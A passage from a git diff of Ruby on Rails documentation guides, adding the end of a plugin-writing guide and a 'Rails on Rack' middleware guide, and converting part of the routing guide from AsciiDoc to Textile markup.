+* *vendor/plugins/yaffle/lib/yaffle/commands.rb*
+
+<ruby>
+require 'rails_generator'
+require 'rails_generator/commands'
+
+module Yaffle #:nodoc:
+  module Generator #:nodoc:
+    module Commands #:nodoc:
+      module Create
+        def yaffle_route
+          logger.route "map.yaffle"
+          look_for = 'ActionController::Routing::Routes.draw do |map|'
+          unless options[:pretend]
+            gsub_file('config/routes.rb', /(#{Regexp.escape(look_for)})/mi){|match| "#{match}\n  map.yaffles\n"}
+          end
+        end
+      end
+
+      module Destroy
+        def yaffle_route
+          logger.route "map.yaffle"
+          gsub_file 'config/routes.rb', /\n.+?map\.yaffles/mi, ''
+        end
+      end
+
+      module List
+        def yaffle_route
+        end
+      end
+
+      module Update
+        def yaffle_route
+        end
+      end
+    end
+  end
+end
+
+Rails::Generator::Commands::Create.send   :include,  Yaffle::Generator::Commands::Create
+Rails::Generator::Commands::Destroy.send  :include,  Yaffle::Generator::Commands::Destroy
+Rails::Generator::Commands::List.send     :include,  Yaffle::Generator::Commands::List
+Rails::Generator::Commands::Update.send   :include,  Yaffle::Generator::Commands::Update
+</ruby>
+
+* *vendor/plugins/yaffle/generators/yaffle_route/yaffle_route_generator.rb*
+
+<ruby>
+class YaffleRouteGenerator < Rails::Generator::Base
+  def manifest
+    record do |m|
+      m.yaffle_route
+    end
+  end
+end
+</ruby>
+
+To see this work, type:
+
+<shell>
+./script/generate yaffle_route
+./script/destroy yaffle_route
+</shell>
+
+NOTE: If you haven't set up the custom route from above, 'script/destroy' will fail and you'll have to remove it manually.
+
+h3. Migrations
+
+If your plugin requires changes to the app's database you will likely want to somehow add migrations.  Rails does not include any built-in support for calling migrations from plugins, but you can still make it easy for developers to call migrations from plugins.
+
+If you have a very simple needs, like creating a table that will always have the same name and columns, then you can use a more simple solution, like creating a custom rake task or method.  If your migration needs user input to supply table names or other options, you probably want to opt for generating a migration.
+
+Let's say you have the following migration in your plugin:
+
+* *vendor/plugins/yaffle/lib/db/migrate/20081116181115_create_birdhouses.rb:*
+
+<ruby>
+class CreateBirdhouses < ActiveRecord::Migration
+  def self.up
+    create_table :birdhouses, :force => true do |t|
+      t.string :name
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :birdhouses
+  end
+end
+</ruby>
+
+Here are a few possibilities for how to allow developers to use your plugin migrations:
+
+h4. Create a Custom Rake Task
+
+* *vendor/plugins/yaffle/tasks/yaffle_tasks.rake:*
+
+<ruby>
+namespace :db do
+  namespace :migrate do
+    description = "Migrate the database through scripts in vendor/plugins/yaffle/lib/db/migrate"
+    description << "and update db/schema.rb by invoking db:schema:dump."
+    description << "Target specific version with VERSION=x. Turn off output with VERBOSE=false."
+
+    desc description
+    task :yaffle => :environment do
+      ActiveRecord::Migration.verbose = ENV["VERBOSE"] ? ENV["VERBOSE"] == "true" : true
+      ActiveRecord::Migrator.migrate("vendor/plugins/yaffle/lib/db/migrate/", ENV["VERSION"] ? ENV["VERSION"].to_i : nil)
+      Rake::Task["db:schema:dump"].invoke if ActiveRecord::Base.schema_format == :ruby
+    end
+  end
+end
+</ruby>
+
+h4. Call Migrations Directly
+
+* *vendor/plugins/yaffle/lib/yaffle.rb:*
+
+<ruby>
+Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file|
+  require file
+end
+</ruby>
+
+* *db/migrate/20081116181115_create_birdhouses.rb:*
+
+<ruby>
+class CreateBirdhouses < ActiveRecord::Migration
+  def self.up
+    Yaffle::CreateBirdhouses.up
+  end
+
+  def self.down
+    Yaffle::CreateBirdhouses.down
+  end
+end
+</ruby>
+
+NOTE: several plugin frameworks such as Desert and Engines provide more advanced plugin functionality.
+
+h4. Generate Migrations
+
+Generating migrations has several advantages over other methods.  Namely, you can allow other developers to more easily customize the migration.  The flow looks like this:
+
+ * call your script/generate script and pass in whatever options they need
+ * examine the generated migration, adding/removing columns or other options as necessary
+
+This example will demonstrate how to use one of the built-in generator methods named 'migration_template' to create a migration file.  Extending the rails migration generator requires a somewhat intimate knowledge of the migration generator internals, so it's best to write a test first:
+
+* *vendor/plugins/yaffle/test/yaffle_migration_generator_test.rb*
+
+<ruby>
+require File.dirname(__FILE__) + '/test_helper.rb'
+require 'rails_generator'
+require 'rails_generator/scripts/generate'
+
+class MigrationGeneratorTest < Test::Unit::TestCase
+
+  def setup
+    FileUtils.mkdir_p(fake_rails_root)
+    @original_files = file_list
+  end
+
+  def teardown
+    ActiveRecord::Base.pluralize_table_names = true
+    FileUtils.rm_r(fake_rails_root)
+  end
+
+  def test_generates_correct_file_name
+    Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"],
+      :destination => fake_rails_root)
+    new_file = (file_list - @original_files).first
+    assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migrations/, new_file
+    assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migrations do |t|/, File.read(new_file)
+  end
+
+  def test_pluralizes_properly
+    ActiveRecord::Base.pluralize_table_names = false
+    Rails::Generator::Scripts::Generate.new.run(["yaffle_migration", "some_name_nobody_is_likely_to_ever_use_in_a_real_migration"],
+      :destination => fake_rails_root)
+    new_file = (file_list - @original_files).first
+    assert_match /add_yaffle_fields_to_some_name_nobody_is_likely_to_ever_use_in_a_real_migration/, new_file
+    assert_match /add_column :some_name_nobody_is_likely_to_ever_use_in_a_real_migration do |t|/, File.read(new_file)
+  end
+
+  private
+    def fake_rails_root
+      File.join(File.dirname(__FILE__), 'rails_root')
+    end
+
+    def file_list
+      Dir.glob(File.join(fake_rails_root, "db", "migrate", "*"))
+    end
+
+end
+</ruby>
+
+NOTE: the migration generator checks to see if a migation already exists, and it's hard-coded to check the 'db/migrate' directory.  As a result, if your test tries to generate a migration that already exists in the app, it will fail.  The easy workaround is to make sure that the name you generate in your test is very unlikely to actually appear in the app.
+
+After running the test with 'rake' you can make it pass with:
+
+* *vendor/plugins/yaffle/generators/yaffle_migration/yaffle_migration_generator.rb*
+
+<ruby>
+class YaffleMigrationGenerator < Rails::Generator::NamedBase
+  def manifest
+    record do |m|
+      m.migration_template 'migration:migration.rb', "db/migrate", {:assigns => yaffle_local_assigns,
+        :migration_file_name => "add_yaffle_fields_to_#{custom_file_name}"
+      }
+    end
+  end
+
+  private
+    def custom_file_name
+      custom_name = class_name.underscore.downcase
+      custom_name = custom_name.pluralize if ActiveRecord::Base.pluralize_table_names
+      custom_name
+    end
+
+    def yaffle_local_assigns
+      returning(assigns = {}) do
+        assigns[:migration_action] = "add"
+        assigns[:class_name] = "add_yaffle_fields_to_#{custom_file_name}"
+        assigns[:table_name] = custom_file_name
+        assigns[:attributes] = [Rails::Generator::GeneratedAttribute.new("last_squawk", "string")]
+      end
+    end
+end
+</ruby>
+
+The generator creates a new file in 'db/migrate' with a timestamp and an 'add_column' statement.  It reuses the built in rails +migration_template+ method, and reuses the built-in rails migration template.
+
+It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names.  This way people using your generator won't have to manually change the generated files if they've turned pluralization off.
+
+To run the generator, type the following at the command line:
+
+<shell>
+./script/generate yaffle_migration bird
+</shell>
+
+and you will see a new file:
+
+* *db/migrate/20080529225649_add_yaffle_fields_to_birds.rb*
+
+<ruby>
+class AddYaffleFieldsToBirds < ActiveRecord::Migration
+  def self.up
+    add_column :birds, :last_squawk, :string
+  end
+
+  def self.down
+    remove_column :birds, :last_squawk
+  end
+end
+</ruby>
+
+h3. Rake tasks
+
+When you created the plugin with the built-in rails generator, it generated a rake file for you in 'vendor/plugins/yaffle/tasks/yaffle_tasks.rake'.  Any rake task you add here will be available to the app.
+
+Many plugin authors put all of their rake tasks into a common namespace that is the same as the plugin, like so:
+
+* *vendor/plugins/yaffle/tasks/yaffle_tasks.rake*
+
+<ruby>
+namespace :yaffle do
+  desc "Prints out the word 'Yaffle'"
+  task :squawk => :environment do
+    puts "squawk!"
+  end
+end
+</ruby>
+
+When you run +rake -T+ from your plugin you will see:
+
+<shell>
+yaffle:squawk             # Prints out the word 'Yaffle'
+</shell>
+
+You can add as many files as you want in the tasks directory, and if they end in .rake Rails will pick them up.
+
+Note that tasks from 'vendor/plugins/yaffle/Rakefile' are not available to the main app.
+
+h3. PluginGems
+
+Turning your rails plugin into a gem is a simple and straightforward task.  This section will cover how to turn your plugin into a gem.  It will not cover how to distribute that gem.
+
+Historically rails plugins loaded the plugin's 'init.rb' file.  In fact some plugins contain all of their code in that one file.  To be compatible with plugins, 'init.rb' was moved to 'rails/init.rb'.
+
+It's common practice to put any developer-centric rake tasks (such as tests, rdoc and gem package tasks) in 'Rakefile'.  A rake task that packages the gem might look like this:
+
+* *vendor/plugins/yaffle/Rakefile:*
+
+<ruby>
+PKG_FILES = FileList[
+  '[a-zA-Z]*',
+  'generators/**/*',
+  'lib/**/*',
+  'rails/**/*',
+  'tasks/**/*',
+  'test/**/*'
+]
+
+spec = Gem::Specification.new do |s|
+  s.name = "yaffle"
+  s.version = "0.0.1"
+  s.author = "Gleeful Yaffler"
+  s.email = "yaffle@example.com"
+  s.homepage = "http://yafflers.example.com/"
+  s.platform = Gem::Platform::RUBY
+  s.summary = "Sharing Yaffle Goodness"
+  s.files = PKG_FILES.to_a
+  s.require_path = "lib"
+  s.has_rdoc = false
+  s.extra_rdoc_files = ["README"]
+end
+
+desc 'Turn this plugin into a gem.'
+Rake::GemPackageTask.new(spec) do |pkg|
+  pkg.gem_spec = spec
+end
+</ruby>
+
+To build and install the gem locally, run the following commands:
+
+<shell>
+cd vendor/plugins/yaffle
+rake gem
+sudo gem install pkg/yaffle-0.0.1.gem
+</shell>
+
+To test this, create a new rails app, add 'config.gem "yaffle"' to environment.rb and all of your plugin's functionality will be available to you.
+
+h3. RDoc Documentation
+
+Once your plugin is stable and you are ready to deploy do everyone else a favor and document it!  Luckily, writing documentation for your plugin is easy.
+
+The first step is to update the README file with detailed information about how to use your plugin.  A few key things to include are:
+
+* Your name
+* How to install
+* How to add the functionality to the app (several examples of common use cases)
+* Warning, gotchas or tips that might help save users time
+
+Once your README is solid, go through and add rdoc comments to all of the methods that developers will use.  It's also customary to add '#:nodoc:' comments to those parts of the code that are not part of the public api.
+
+Once your comments are good to go, navigate to your plugin directory and run:
+
+<shell>
+rake rdoc
+</shell>
+
+h3. Appendix
+
+If you prefer to use RSpec instead of Test::Unit, you may be interested in the "RSpec Plugin Generator":http://github.com/pat-maddox/rspec-plugin-generator/tree/master.
+
+h4. References
+
+* http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-i
+* http://nubyonrails.com/articles/the-complete-guide-to-rails-plugins-part-ii
+* http://github.com/technoweenie/attachment_fu/tree/master
+* http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html
+* http://www.mbleigh.com/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins
+* http://weblog.jamisbuck.org/2006/10/26/monkey-patching-rails-extending-routes-2.
+
+h4. Contents of +lib/yaffle.rb+
+
+* *vendor/plugins/yaffle/lib/yaffle.rb:*
+
+<ruby>
+require "yaffle/core_ext"
+require "yaffle/acts_as_yaffle"
+require "yaffle/commands"
+require "yaffle/routing"
+
+%w{ models controllers helpers }.each do |dir|
+  path = File.join(File.dirname(__FILE__), 'app', dir)
+  $LOAD_PATH << path
+  ActiveSupport::Dependencies.load_paths << path
+  ActiveSupport::Dependencies.load_once_paths.delete(path)
+end
+
+# optionally:
+# Dir.glob(File.join(File.dirname(__FILE__), "db", "migrate", "*")).each do |file|
+#   require file
+# end
+</ruby>
+
+h4. Final Plugin Directory Structure
+
+The final plugin should have a directory structure that looks something like this:
+
+<shell>
+|-- MIT-LICENSE
+|-- README
+|-- Rakefile
+|-- generators
+|   |-- yaffle_definition
+|   |   |-- USAGE
+|   |   |-- templates
+|   |   |   `-- definition.txt
+|   |   `-- yaffle_definition_generator.rb
+|   |-- yaffle_migration
+|   |   |-- USAGE
+|   |   |-- templates
+|   |   `-- yaffle_migration_generator.rb
+|   `-- yaffle_route
+|       |-- USAGE
+|       |-- templates
+|       `-- yaffle_route_generator.rb
+|-- install.rb
+|-- lib
+|   |-- app
+|   |   |-- controllers
+|   |   |   `-- woodpeckers_controller.rb
+|   |   |-- helpers
+|   |   |   `-- woodpeckers_helper.rb
+|   |   `-- models
+|   |       `-- woodpecker.rb
+|   |-- db
+|   |   `-- migrate
+|   |       `-- 20081116181115_create_birdhouses.rb
+|   |-- yaffle
+|   |   |-- acts_as_yaffle.rb
+|   |   |-- commands.rb
+|   |   |-- core_ext.rb
+|   |   `-- routing.rb
+|   `-- yaffle.rb
+|-- pkg
+|   `-- yaffle-0.0.1.gem
+|-- rails
+|   `-- init.rb
+|-- tasks
+|   `-- yaffle_tasks.rake
+|-- test
+|   |-- acts_as_yaffle_test.rb
+|   |-- core_ext_test.rb
+|   |-- database.yml
+|   |-- debug.log
+|   |-- definition_generator_test.rb
+|   |-- migration_generator_test.rb
+|   |-- route_generator_test.rb
+|   |-- routes_test.rb
+|   |-- schema.rb
+|   |-- test_helper.rb
+|   |-- woodpecker_test.rb
+|   |-- woodpeckers_controller_test.rb
+|   |-- wookpeckers_helper_test.rb
+|   |-- yaffle_plugin.sqlite3.db
+|   `-- yaffle_test.rb
+`-- uninstall.rb
+</shell>
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/32-update-plugins-guide
+
+* November 17, 2008: Major revision by Jeff Dean
diff --git a/vendor/rails/railties/guides/source/rails_on_rack.textile b/vendor/rails/railties/guides/source/rails_on_rack.textile
new file mode 100644
index 00000000..07ca1624
--- /dev/null
+++ b/vendor/rails/railties/guides/source/rails_on_rack.textile
@@ -0,0 +1,309 @@
+h2. Rails on Rack
+
+This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:
+
+* Create Rails Metal applications
+* Use Rack Middlewares in your Rails applications
+* Understand Action Pack's internal Middleware stack
+* Define a custom Middleware stack
+
+endprologue.
+
+WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and Rack::Builder.
+
+h3. Introduction to Rack
+
+bq. Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
+
+- "Rack API Documentation":http://rack.rubyforge.org/doc/
+
+Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the following links:
+
+* "Official Rack Website":http://rack.github.com
+* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html
+* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/2008/11/17/ruby-on-rack-1
+* "Ruby on Rack #2 - The Builder":http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder
+
+h3. Rails on Rack
+
+h4. Rails Application's Rack Object
+
+<tt>ActionController::Dispatcher.new</tt> is the primary Rack application object of a Rails application. Any Rack compliant web server should be using +ActionController::Dispatcher.new+ object to serve a Rails application.</p>
+
+h4. +script/server+
+
+<tt>script/server</tt> does the basic job of creating a +Rack::Builder+ object and starting the webserver. This is Rails' equivalent of Rack's +rackup+ script.
+
+Here's how +script/server+ creates an instance of +Rack::Builder+
+
+<ruby>
+app = Rack::Builder.new {
+  use Rails::Rack::LogTailer unless options[:detach]
+  use Rails::Rack::Debugger if options[:debugger]
+
+  map "/" do
+    use Rails::Rack::Static
+    run ActionController::Dispatcher.new
+  end
+}.to_app
+</ruby>
+
+Middlewares used in the code above are primarily useful only in the development envrionment. The following table explains their usage:
+
+|_.Middleware|_.Purpose|
+|Rails::Rack::LogTailer|Appends log file output to console|
+|Rails::Rack::Static|Serves static files inside +RAILS_ROOT/public+ directory|
+|Rails::Rack::Debugger|Starts Debugger|
+
+h4. +rackup+
+
+To use +rackup+ instead of Rails' +script/server+, you can put the following inside +config.ru+ of your Rails application's root directory:
+
+<ruby>
+# RAILS_ROOT/config.ru
+require "config/environment"
+
+use Rails::Rack::LogTailer
+use Rails::Rack::Static
+run ActionController::Dispatcher.new
+</ruby>
+
+And start the server:
+
+<shell>
+[lifo@null application]$ rackup
+</shell>
+
+To find out more about different +rackup+ options:
+
+<shell>
+[lifo@null application]$ rackup --help
+</shell>
+
+h3. Action Controller Middleware Stack
+
+Many of Action Controller's internal components are implemented as Rack middlewares. +ActionController::Dispatcher+ uses +ActionController::MiddlewareStack+ to combine various internal and external middlewares to form a complete Rails Rack application.
+
+NOTE: +ActionController::MiddlewareStack+ is Rails' equivalent of +Rack::Builder+, but built for better flexibility and more features to meet Rails' requirements.
+
+h4. Inspecting Middleware Stack
+
+Rails has a handy rake task for inspecting the middleware stack in use:
+
+<shell>
+$ rake middleware
+</shell>
+
+For a freshly generated Rails application, this might produce something like:
+
+<ruby>
+use Rack::Lock
+use ActionController::Failsafe
+use ActionController::Session::CookieStore, , {:secret=>"<secret>", :session_key=>"_<app>_session"}
+use Rails::Rack::Metal
+use ActionController::RewindableInput
+use ActionController::ParamsParser
+use Rack::MethodOverride
+use Rack::Head
+use ActiveRecord::QueryCache
+run ActionController::Dispatcher.new
+</ruby>
+
+Purpose of each of this middlewares is explained in "Internal Middlewares":#internal-middleware-stack section.
+
+h4. Configuring Middleware Stack
+
+Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +environment.rb+ or the environment specific configuration file <tt>environments/&lt;environment&gt;.rb</tt>.
+
+h5. Adding a Middleware
+
+You can add a new middleware to the middleware stack using any of the following methods:
+
+* +config.middleware.use(new_middleware, args)+ - Adds the new middleware at the bottom of the middleware stack.
+
+* +config.middleware.insert_before(existing_middleware, new_middleware, args)+ - Adds the new middleware before the specified existing middleware in the middleware stack.
+
+* +config.middleware.insert_after(existing_middleware, new_middleware, args)+ - Adds the new middleware after the specified existing middleware in the middleware stack.
+
+<strong>Example:</strong>
+
+<ruby>
+# environment.rb
+
+# Push Rack::BounceFavicon at the bottom
+config.middleware.use Rack::BounceFavicon
+
+# Add Lifo::Cache after ActiveRecord::QueryCache.
+# Pass { :page_cache => false } argument to Lifo::Cache.
+config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache => false
+</ruby>
+
+h5. Swapping a Middleware
+
+You can swap an existing middleware in the middleware stack using +config.middleware.swap+.
+
+<strong>Example:</strong>
+
+<ruby>
+# environment.rb
+
+# Replace ActionController::Failsafe with Lifo::Failsafe
+config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
+</ruby>
+
+h5. Middleware Stack is an Array
+
+The middleware stack behaves just like a normal +Array+. You can use any +Array+ methods to insert, reorder, or remove items from the stack. Methods described in the section above are just convenience methods.
+
+For example, the following removes the middleware matching the supplied class name:
+
+<ruby>
+config.middleware.delete(middleware)
+</ruby>
+
+h4. Internal Middleware Stack
+
+Much of Action Controller's functionality is implemented as Middlewares. The following table explains the purpose of each of them:
+
+|_.Middleware|_.Purpose|
+|Rack::Lock|Sets +env["rack.multithread"]+ flag to +true+ and wraps the application within a Mutex.|
+|ActionController::Failsafe|Returns HTTP Status +500+ to the client if an exception gets raised while dispatching.|
+|ActiveRecord::QueryCache|Enable the Active Record query cache.|
+|ActionController::Session::CookieStore|Uses the cookie based session store.|
+|ActionController::Session::MemCacheStore|Uses the memcached based session store.|
+|ActiveRecord::SessionStore|Uses the database based session store.|
+|Rack::MethodOverride|Sets HTTP method based on +_method+ parameter or +env["HTTP_X_HTTP_METHOD_OVERRIDE"]+.|
+|Rack::Head|Discards the response body if the client sends a +HEAD+ request.|
+
+TIP: It's possible to use any of the above middlewares in your custom Rack stack.
+
+h4. Customizing Internal Middleware Stack
+
+It's possible to replace the entire middleware stack with a custom stack using +ActionController::Dispatcher.middleware=+.
+
+<strong>Example:</strong>
+
+Put the following in an initializer:
+
+<ruby>
+# config/initializers/stack.rb
+ActionController::Dispatcher.middleware = ActionController::MiddlewareStack.new do |m|
+  m.use ActionController::Failsafe
+  m.use ActiveRecord::QueryCache
+  m.use Rack::Head
+end
+</ruby>
+
+And now inspecting the middleware stack:
+
+<shell>
+$ rake middleware
+(in /Users/lifo/Rails/blog)
+use ActionController::Failsafe
+use ActiveRecord::QueryCache
+use Rack::Head
+run ActionController::Dispatcher.new
+</shell>
+
+h4. Using Rack Builder
+
+The following shows how to replace use +Rack::Builder+ instead of the Rails supplied +MiddlewareStack+.
+
+<strong>Clear the existing Rails middleware stack</strong>
+
+<ruby>
+# environment.rb
+config.middleware.clear
+</ruby>
+
+<br />
+<strong>Add a +config.ru+ file to +RAILS_ROOT+</strong>
+
+<ruby>
+# config.ru
+use MyOwnStackFromStratch
+run ActionController::Dispatcher.new
+</ruby>
+
+h3. Rails Metal Applications
+
+Rails Metal applications are minimal Rack applications specially designed for integrating with a typical Rails application. As Rails Metal Applications skip all of the Action Controller stack, serving a request has no overhead from the Rails framework itself. This is especially useful for infrequent cases where the performance of the full stack Rails framework is an issue.
+
+Ryan Bates' railscast on the "Rails Metal":http://railscasts.com/episodes/150-rails-metal provides a nice walkthrough generating and using Rails Metal.
+
+h4. Generating a Metal Application
+
+Rails provides a generator called +metal+ for creating a new Metal application:
+
+<shell>
+$ script/generate metal poller
+</shell>
+
+This generates +poller.rb+ in the +app/metal+ directory:
+
+<ruby>
+# Allow the metal piece to run in isolation
+require(File.dirname(__FILE__) + "/../../config/environment") unless defined?(Rails)
+
+class Poller
+  def self.call(env)
+    if env["PATH_INFO"] =~ /^\/poller/
+      [200, {"Content-Type" => "text/html"}, ["Hello, World!"]]
+    else
+      [404, {"Content-Type" => "text/html"}, ["Not Found"]]
+    end
+  end
+end
+</ruby>
+
+Metal applications within +app/metal+ folders in plugins will also be discovered and added to the list 
+
+Metal applications are an optimization. You should make sure to "understand the related performance implications":http://weblog.rubyonrails.org/2008/12/20/performance-of-rails-metal before using it.
+
+h4. Execution Order
+
+All Metal Applications are executed by +Rails::Rack::Metal+ middleware, which is a part of the +ActionController::MiddlewareStack+ chain.
+
+Here's the primary method responsible for running the Metal applications:
+
+<ruby>
+def call(env)
+  @metals.keys.each do |app|
+    result = app.call(env)
+    return result unless result[0].to_i == 404
+  end
+  @app.call(env)
+end
+</ruby>
+
+In the code above, +@metals+ is an ordered hash of metal applications. Due to the default alphabetical ordering, +aaa.rb+ will come before +bbb.rb+ in the metal chain.
+
+It is, however, possible to override the default ordering in your environment. Simply add a line like the following to +config/environment.rb+
+
+<ruby>
+config.metals = ["Bbb", "Aaa"]
+</ruby>
+
+Each string in the array should be the name of your metal class. If you do this then be warned that any metal applications not listed will not be loaded.
+
+WARNING: Metal applications cannot return the HTTP Status +404+ to a client, as it is used for continuing the Metal chain execution. Please use normal Rails controllers or a custom middleware if returning +404+ is a requirement.
+
+h3. Resources
+
+h4. Learning Rack
+
+* "Official Rack Website":http://rack.github.com
+* "Introducing Rack":http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html
+* "Ruby on Rack #1 - Hello Rack!":http://m.onkey.org/2008/11/17/ruby-on-rack-1
+* "Ruby on Rack #2 - The Builder":http://m.onkey.org/2008/11/18/ruby-on-rack-2-rack-builder
+
+h4. Understanding Middlewares
+
+* "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/58
+
+* February 7, 2009: Second version by "Pratik":credits.html#lifo
+* January 11, 2009: First version by "Pratik":credits.html#lifo
diff --git a/vendor/rails/railties/doc/guides/source/routing_outside_in.txt b/vendor/rails/railties/guides/source/routing.textile
similarity index 62%
rename from vendor/rails/railties/doc/guides/source/routing_outside_in.txt
rename to vendor/rails/railties/guides/source/routing.textile
index 0f6cd358..a4d9e140 100644
--- a/vendor/rails/railties/doc/guides/source/routing_outside_in.txt
+++ b/vendor/rails/railties/guides/source/routing.textile
@@ -1,5 +1,4 @@
-Rails Routing from the Outside In
-=================================
+h2. Rails Routing from the Outside In
 
 This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:
 
@@ -8,39 +7,43 @@ This guide covers the user-facing features of Rails routing. By referring to thi
 * Construct your own routes, using either the classic hash style or the now-preferred RESTful style
 * Identify how a route will map to a controller and action
 
-== The Dual Purpose of Routing
+endprologue.
+
+h3. The Dual Purpose of Routing
 
 Rails routing is a two-way piece of machinery - rather as if you could turn trees into paper, and then turn paper back into trees. Specifically, it both connects incoming HTTP requests to the code in your application's controllers, and helps you generate URLs without having to hard-code them as strings.
 
-=== Connecting URLs to Code
+h4. Connecting URLs to Code
 
 When your Rails application receives an incoming HTTP request, say
 
--------------------------------------------------------
+<pre>
 GET /patients/17
--------------------------------------------------------
+</pre>
 
 the routing engine within Rails is the piece of code that dispatches the request to the appropriate spot in your application. In this case, the application would most likely end up running the +show+ action within the +patients+ controller, displaying the details of the patient whose ID is 17.
- 
-=== Generating URLs from Code
+
+h4. Generating URLs from Code
 
 Routing also works in reverse. If your application contains this code:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 @patient = Patient.find(17)
+</ruby>
+
+<erb>
 <%= link_to "Patient Record", patient_path(@patient) %>
--------------------------------------------------------
+</erb>
 
 Then the routing engine is the piece that translates that to a link to a URL such as +http://example.com/patients/17+. By using routing in this way, you can reduce the brittleness of your application as compared to one with hard-coded URLs, and make your code easier to read and understand.
 
 NOTE: Patient needs to be declared as a resource for this style of translation via a named route to be available.
 
-== Quick Tour of Routes.rb
+h3. Quick Tour of +routes.rb+
 
 There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file +config/routes.rb+, which contains the actual routes that will be used by your application. Learning exactly what you can put in +routes.rb+ is the main topic of this guide, but before we dig in let's get a quick overview.
 
-=== Processing the File
+h4. Processing the File
 
 In format, +routes.rb+ is nothing more than one big block sent to +ActionController::Routing::Routes.draw+. Within this block, you can have comments, but it's likely that most of your content will be individual lines of code - each line being a route in your application. You'll find five main types of content in this file:
 
@@ -54,102 +57,94 @@ Each of these types of route is covered in more detail later in this guide.
 
 The +routes.rb+ file is processed from top to bottom when a request comes in. The request will be dispatched to the first matching route. If there is no matching route, then Rails returns HTTP status 404 to the caller.
 
-=== RESTful Routes
+h4. RESTful Routes
 
 RESTful routes take advantage of the built-in REST orientation of Rails to wrap up a lot of routing information in a single declaration. A RESTful route looks like this:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :books
--------------------------------------------------------
+</ruby>
 
-=== Named Routes
+h4. Named Routes
 
 Named routes give you very readable links in your code, as well as handling incoming requests. Here's a typical named route:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.login '/login', :controller => 'sessions', :action => 'new'
--------------------------------------------------------
+</ruby>
 
-=== Nested Routes
+h4. Nested Routes
 
 Nested routes let you declare that one resource is contained within another resource. You'll see later on how this translates to URLs and paths in your code. For example, if your application includes parts, each of which belongs to an assembly, you might have this nested route declaration:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :assemblies do |assemblies|
   assemblies.resources :parts
 end
--------------------------------------------------------
+</ruby>
 
-=== Regular Routes
+h4. Regular Routes
 
 In many applications, you'll also see non-RESTful routing, which explicitly connects the parts of a URL to a particular action. For example,
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.connect 'parts/:number', :controller => 'inventory', :action => 'show'
--------------------------------------------------------
+</ruby>
 
-=== Default Routes
+h4. Default Routes
 
 The default routes are a safety net that catch otherwise-unrouted requests. Many Rails applications will contain this pair of default routes:
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.connect ':controller/:action/:id'
 map.connect ':controller/:action/:id.:format'
--------------------------------------------------------
+</ruby>
 
 These default routes are automatically generated when you create a new Rails application. If you're using RESTful routing for everything in your application, you will probably want to remove them. But be sure you're not using the default routes before you remove them!
 
-== RESTful Routing: the Rails Default
+h3. RESTful Routing: the Rails Default
 
 RESTful routing is the current standard for routing in Rails, and it's the one that you should prefer for new applications. It can take a little while to understand how RESTful routing works, but it's worth the effort; your code will be easier to read and you'll be working with Rails, rather than fighting against it, when you use this style of routing.
 
-=== What is REST?
+h4. What is REST?
 
-The foundation of RESTful routing is generally considered to be Roy Fielding's doctoral thesis, link:http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm[Architectural Styles and the Design of Network-based Software Architectures]. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
+The foundation of RESTful routing is generally considered to be Roy Fielding's doctoral thesis, "Architectural Styles and the Design of Network-based Software Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:
 
 * Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
-* Transferring representations of the state of that resource between system components. 
+* Transferring representations of the state of that resource between system components.
 
 For example, to a Rails application a request such as this:
 
-+DELETE /photos/17+
+<pre>
+DELETE /photos/17
+</pre>
 
 would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.
-  
-=== CRUD, Verbs, and Actions
+
+h4. CRUD, Verbs, and Actions
 
 In Rails, a RESTful route provides a mapping between HTTP verbs, controller actions, and (implicitly) CRUD operations in a database. A single entry in the routing file, such as
 
-[source, ruby]
--------------------------------------------------------
+<ruby>
 map.resources :photos
--------------------------------------------------------
+</ruby>
 
 creates seven different routes in your application:
 
-[grid="all"]
-`----------`---------------`-----------`--------`-------------------------------------------
-HTTP verb  URL             controller  action   used for
---------------------------------------------------------------------------------------------
-GET        /photos         Photos      index    display a list of all photos
